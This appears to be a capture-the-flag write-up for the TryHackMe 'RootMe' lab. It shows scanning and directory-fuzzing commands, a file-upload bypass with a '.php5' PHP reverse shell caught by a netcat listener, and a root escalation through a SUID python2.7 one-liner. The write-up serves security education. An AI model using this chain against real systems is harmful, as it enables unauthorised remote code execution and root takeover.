> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/rootme-tryhackme.md).

# RootMe (TryHackMe)

### 🧭 Overview

* Platform: TryHackMe
* Focus: Web Exploitation + Privilege Escalation
* OS: Linux

***

### 🔍 Reconnaissance

Initial scan:

```bash
nmap -sC -sV -A <IP>
```

#### Findings:

* 22/tcp → SSH (OpenSSH 8.2p1)
* 80/tcp → HTTP (Apache 2.4.41)

#### Nmap Output

![Nmap Scan](https://github.com/ABHI02G/CTF-writeups/blob/main/rootme-ctf%20\(Tryhackme\)/rootme-images/nmap-scan.png?raw=true)

***

### 🔎 Enumeration

Directory brute force:

```bash
ffuf -w /path/to/SecLists/common.txt -u http://<IP>/FUZZ
```

#### Discovered:

* `/uploads`
* `/panel`
* `/index.php`

#### Directory Fuzzing Output

![FFUF](https://github.com/Ganesha-hk/CTF-writeups/blob/main/rootme-ctf%20\(Tryhackme\)/rootme-images/directory-fuzzing.png?raw=true)

***

### ⚙️ Technology Stack

* Backend language: **PHP**

![Tech Detection](https://github.com/Ganesha-hk/CTF-writeups/blob/main/rootme-ctf%20\(Tryhackme\)/rootme-images/getting%20rce.png?raw=true)

***

### 💥 Initial Access

#### Vulnerability:

* File Upload Vulnerability in `/panel`

#### Exploit:

* Upload reverse shell using `.php5` extension

#### Steps:

1. Upload PHP reverse shell (`.php5`)
2. Start listener:

```bash
rlwrap nc -lvnp <PORT>
```

3. Trigger shell via `/uploads`

#### Result:

* Remote Code Execution (RCE)

![Shell Access](https://github.com/Ganesha-hk/CTF-writeups/blob/main/rootme-ctf%20\(Tryhackme\)/rootme-images/os-details%20of%20victim.png?raw=true)

***

### 🔐 Privilege Escalation

#### Enumeration:

```bash
find / -perm -u=s 2>/dev/null
```

#### Finding:

* SUID binary: `/usr/bin/python2.7`

#### Exploit:

```bash
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

#### Result:

* Root shell obtained

![Root Access](https://github.com/Ganesha-hk/CTF-writeups/blob/main/rootme-ctf%20\(Tryhackme\)/rootme-images/root%20access.png?raw=true)

***

### 🎯 Key Takeaways

* File upload bypass using alternative PHP extensions
* Importance of enumerating SUID binaries
* Python SUID privilege escalation technique

***

### ⚠ Disclaimer

This writeup is for educational purposes only.\
All testing was performed in authorized lab environments.


---

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